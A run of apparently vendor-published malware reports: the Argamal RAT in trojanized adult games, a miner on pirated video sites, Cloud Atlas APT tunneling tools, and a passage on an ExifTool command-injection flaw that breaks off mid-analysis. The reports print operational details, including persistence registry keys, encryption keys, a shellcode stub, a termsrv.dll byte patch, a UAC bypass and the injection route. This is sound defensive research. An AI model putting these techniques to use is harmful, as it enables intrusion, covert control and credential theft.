In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.
The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.
Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.
Technical details
Background
In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.
The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.
Adult games catalogue
In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.
Malicious game torrent in AniRena
Delivery
Both the dedicated websites and torrents delivered an archive containing the infected game.
Contents of the game archive
This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.
Script executor
The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.
The natives2_blob.bin file code
This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.
Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.
Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.
The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.
Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.
Malicious agent
Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.
The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:
The payload checks for the presence of the following security solutions using the output of the tasklist command:
Kaspersky
Avast
McAfee
BitDefender
MalwareBytes
+36 other solutions
Security solution detection logic
The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.
The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.
The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.
Response first byte
Description
0x31
Run DLL on the system
0x57
Send UDP request to the specified address
0x55
Open file or link from the response
0x50
Collect information about the infected system (e.g. process list and architecture)
0x53
Execute command from the response using ShellExecuteW
0x52
Run the file specified in the response using WinExec
0x42
Delete the file specified in the response
0x41
Update C2 domain
0x59
Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry
The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.
TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:
In other words, each character in the ASCII set is replaced by the corresponding character in the key string.
C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.
Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:
System control
KILL REBOOT: Reboots the infected system
KILL POWER: Shuts down the infected system
KILL SELF: Same as the QUIT command (described below)
KILL ME: Exits process running the malware
Surveillance
SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2
RUNTASK <command>: creates, runs and deletes task that executes specified command
SKEY <key code>: presses specified key
MOUSE FREEZE: freezes mouse movement
MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates
Other delivery methods
During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.
In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.
Infrastructure
Our research revealed the following infrastructure was used in this attack.
Domain
IP
First seen
ASN
asper1[.]freeddns[.]org
181[.]116.218.56
September 16, 2024
11664
186[.]158.223.35
July 01, 2025
11664
country1[.]ignorelist[.]com
186[.]158.223.35
September 10, 2025
11664
127[.]0.0.1
November 11, 2025
–
Winst0.kozow[.]com
186[.]158.223.35
April 26, 2026
11664
Victims
According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.
Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.
The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:
Part of the PowerShell script used in the payload delivery
In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:
JavaScript code from the malicious site
Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.
Conclusions
The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.
Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.
In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.
Clicking the link downloaded a ZIP archive with the following contents:
The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.
At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.
Link to previous campaigns
The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.
The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.
The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).
In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.
This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.
Potential distribution scale
As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.
The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.
The downloadable archive
The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.
The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.
DLL analysis
Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.
Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:
Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.
This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:
The header was intentionally modified to make it into valid shellcode:
pop r10
push r10
call $+5
pop rcx
sub rcx, 9
mov rax, rcx
add rax, 5C1000h
call rax
retn
This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.
Going forward, we will refer to this decrypted PE file as the main module.
Main module
The module’s behavior across its different operational stages is detailed below:
Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:
Processor information
The serial number of the C:/ drive
Whether the process was launched with elevated privileges
The process start time in Unix timestamp format
The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:
The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.
DNS query crafting code
The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:
1. The process is launched with elevated privileges.
In this case, preparatory steps precede the miner launch:
The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.
This is done to maximize the miner’s potential runtime on the device.
Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.
Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:
RAT agent → into conhost.exe
Watchdog → into explorer.exe
CPU miner → into explorer.exe
GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.
2. The process is launched with standard privileges.
In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:
Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
If execution occurs from the Sandboxie folder:
Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.
A successful installation requires all of the following conditions to be met:
The GoogleUpdateTaskMachineQC service exists in the system.
The Start value for this service is set to 2 (Automatic).
The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
This file exists on disk.
Watchdog
The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:
class FileContainer{
wchar_t* fullPath; // full path to file
size_t* ptrSize; // pointer to file size
uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};
As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.
To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.
RAT agent
This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:
http://{domain}.space/index.php?authorization=1
http://{domain}.site/index.php? backup version
The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.
At the time of writing this, the following domains were registered:
2025, April-July → 5d14vnfb[.]space
2025, August-November → r7mvjl67[.]space
2025, December → zgj1tam9[.]space
2026, January-March → jeaw520i[.]space
2026, April–July → qdmagva5[.]space
An example of a request to the C2 server is provided below:
As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.
This information is likely used by the backend to check for virtual or debugging environments.
The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):
The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.
Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.
The table below lists the four remote control commands for the RAT agent module.
Code
Purpose
1
Execution of an arbitrary command
2
Reflexive execution of the provided PE file within the explorer.exe process
3
Execution of the provided shellcode
4
Exit
The miners
Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.
Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:
“{domain}.strangled.net”
“{domain}.ignorelist.com”
“{domain}.ftp.sh”
“{domain}.zanity.net”
As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.
The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.
Conclusion
Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.
Our products detect this malware with the following Generic verdicts:
In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.
The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
Technical details
Initial infection
As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.
Malware execution flow
Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:
Example of the PowerShell script downloaded and executed by the shortcut:
Example of the PowerShell script downloaded by the shortcut
Actions performed by the downloaded PowerShell:
Step
Action
Description
1
Drops “$temp\fixed.ps1”
Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2
Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup
Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3
Downloads and drops “$temp\rar.zip”
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4
Extracts “*.pdf” from the downloaded “$temp\rar.zip”
Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6
Opens extracted decoy document “*.pdf” with user’s default software
User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6
Executes “taskkill.exe /F /Im winrar.exe”
Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7
Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk”
Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8
Executes “$temp\fixed.ps1”
Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.
Fixed.ps1 (loader)
The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.
Fixed.ps1::Payload (VBCloud dropper)
Example of the fixed.ps1::Payload (VBCloud dropper)
This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:
video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.
Fixed.ps1::Payload (PowerShower)
This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).
Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:
Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).
PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.
Contents of the googleearth.ps1(PowerShower)
PowerShower::Payload (credential grabber)
PowerShower downloads an additional script for stealing credentials. It performs the following actions:
Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.
The full launch chain looks like this:
The full Base64-decoded script is given below.
Multi-user RDP by patching termsrv.dll
Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):
The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.
By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.
At first, the script enables RDP on the firewall and downgrades the RDP security settings:
Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.
Example of script
The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.
Reverse SSH tunneling
As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.
That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.
To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.
We’ve seen three types of scripts:
Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.
To achieve persistence, the attackers added a new scheduled task in Windows:
In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:
Patched OpenSSH
Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.
In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:
RevSocks
In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.
There were also reverse SOCKS samples with hardcoded C2 addresses:
Tor tunneling
To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.
Example of TOR configuration file
PowerCloud
We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.
The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.
To find administrators on the victim host, the tool executes the following command:
This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.
PowerCloud script
Browser checker
Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.
The information about running browsers is written to a log file on the local host.
Fragment of the deobfuscated script
Victims
According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.
We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.
We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:
C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB
However, TTPs are still differentiated.
Conclusion
For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.
ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.
This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.
Technical details
Disclaimer
Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.
Tracing the vulnerable sink
Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.
Finding an unsanitized date value
The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).
In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.
This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.
The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.
Planning the payload delivery
Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:
To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
To copy or move metadata, the -tagsFromFile feature is used.
To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.
Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.
Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.
When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.
Bypassing the filter
